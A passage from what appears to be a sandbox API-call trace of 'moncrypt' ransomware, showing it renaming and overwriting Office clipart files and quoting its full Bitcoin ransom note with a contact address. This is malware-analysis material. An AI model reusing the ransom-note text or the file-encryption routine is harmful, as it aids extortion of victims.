dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.779] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.779] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.779] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.779] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.779] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.779] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.780] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0059.780] CloseHandle (hObject=0x188) returned 1 [0059.780] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x530f3800, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x530f3800, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x6cd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01174_.WMF", cAlternateFileName="")) returned 1 [0059.780] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.780] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.780] GlobalLock (hMem=0x440004) returned 0x550170 [0059.780] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.780] GlobalUnlock (hMem=0x440004) returned 0 [0059.780] GlobalLock (hMem=0x440004) returned 0x550170 [0059.780] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.780] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.780] GlobalUnlock (hMem=0x440004) returned 0 [0059.780] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.780] GlobalUnlock (hMem=0x44000c) returned 0 [0059.780] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.780] CharLowerBuffW (in: lpsz="AN01174_.WMF", cchLength=0xc | out: lpsz="an01174_.wmf") returned 0xc [0059.780] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0059.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.781] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0059.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF", lpUsedDefaultChar=0x0) returned 63 [0059.781] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0059.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN01174_.WMF", lpUsedDefaultChar=0x0) returned 4 [0059.781] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x530f3800, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x530f3800, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x6cd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01174_.WMF", cAlternateFileName="")) returned 0x54e240 [0059.782] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0059.782] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0059.782] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF", dwFileAttributes=0x20) returned 1 [0059.783] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0059.783] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.moncrypt")) returned 1 [0059.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.783] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.783] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x6cd2 [0059.783] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.783] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x4000, lpOverlapped=0x0) returned 1 [0059.785] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.785] GlobalLock (hMem=0x440004) returned 0x550170 [0059.786] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.786] GlobalUnlock (hMem=0x440004) returned 0 [0059.786] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0059.786] GlobalLock (hMem=0x440004) returned 0x55db88 [0059.786] GlobalHandle (pMem=0x55db88) returned 0x440004 [0059.786] GlobalUnlock (hMem=0x440004) returned 0 [0059.786] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0059.786] GlobalLock (hMem=0x440004) returned 0x55db88 [0059.786] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.786] GlobalUnlock (hMem=0x44000c) returned 0 [0059.786] GlobalHandle (pMem=0x55db88) returned 0x440004 [0059.786] GlobalUnlock (hMem=0x440004) returned 0 [0059.786] GlobalLock (hMem=0x440004) returned 0x550170 [0059.786] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.786] GlobalUnlock (hMem=0x440004) returned 0 [0059.786] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0059.786] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.786] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.786] GlobalUnlock (hMem=0x440004) returned 0 [0059.786] ReadFile (in: hFile=0x188, lpBuffer=0x1e390f8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesRead=0x18ea34*=0x20, lpOverlapped=0x0) returned 1 [0059.786] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0059.786] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x4020, lpOverlapped=0x0) returned 1 [0059.786] SetFilePointer (in: hFile=0x188, lDistanceToMove=27858, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x6cd2 [0059.787] WriteFile (in: hFile=0x188, lpBuffer=0x1e390f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesWritten=0x18ea30*=0x20, lpOverlapped=0x0) returned 1 [0059.787] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0059.787] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d08*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d08*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0059.798] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0059.798] CloseHandle (hObject=0x188) returned 1 [0059.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.799] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0059.799] CloseHandle (hObject=0x188) returned 1 [0059.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0059.800] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0059.800] GlobalLock (hMem=0x440004) returned 0x550170 [0059.800] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.800] GlobalUnlock (hMem=0x440004) returned 0 [0059.800] GlobalLock (hMem=0x440004) returned 0x550170 [0059.800] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.800] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.800] GlobalUnlock (hMem=0x440004) returned 0 [0059.800] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.800] GlobalUnlock (hMem=0x44000c) returned 0 [0059.800] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.800] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0059.800] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0059.800] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0059.800] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.801] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.801] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.801] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.801] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.801] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.801] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.801] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0059.801] CloseHandle (hObject=0x188) returned 1 [0059.801] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cbf4f00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cbf4f00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01184_.WMF", cAlternateFileName="")) returned 1 [0059.801] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.801] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.801] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.801] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.801] GlobalUnlock (hMem=0x44000c) returned 0 [0059.802] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.802] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.802] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.802] GlobalUnlock (hMem=0x44000c) returned 0 [0059.802] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.802] GlobalUnlock (hMem=0x440004) returned 0 [0059.802] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.802] CharLowerBuffW (in: lpsz="AN01184_.WMF", cchLength=0xc | out: lpsz="an01184_.wmf") returned 0xc [0059.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0059.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.802] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0059.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF", lpUsedDefaultChar=0x0) returned 63 [0059.803] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0059.803] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN01184_.WMF", lpUsedDefaultChar=0x0) returned 4 [0059.803] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cbf4f00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cbf4f00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01184_.WMF", cAlternateFileName="")) returned 0x54e240 [0059.803] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0059.803] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0059.803] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF", dwFileAttributes=0x20) returned 1 [0059.804] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, 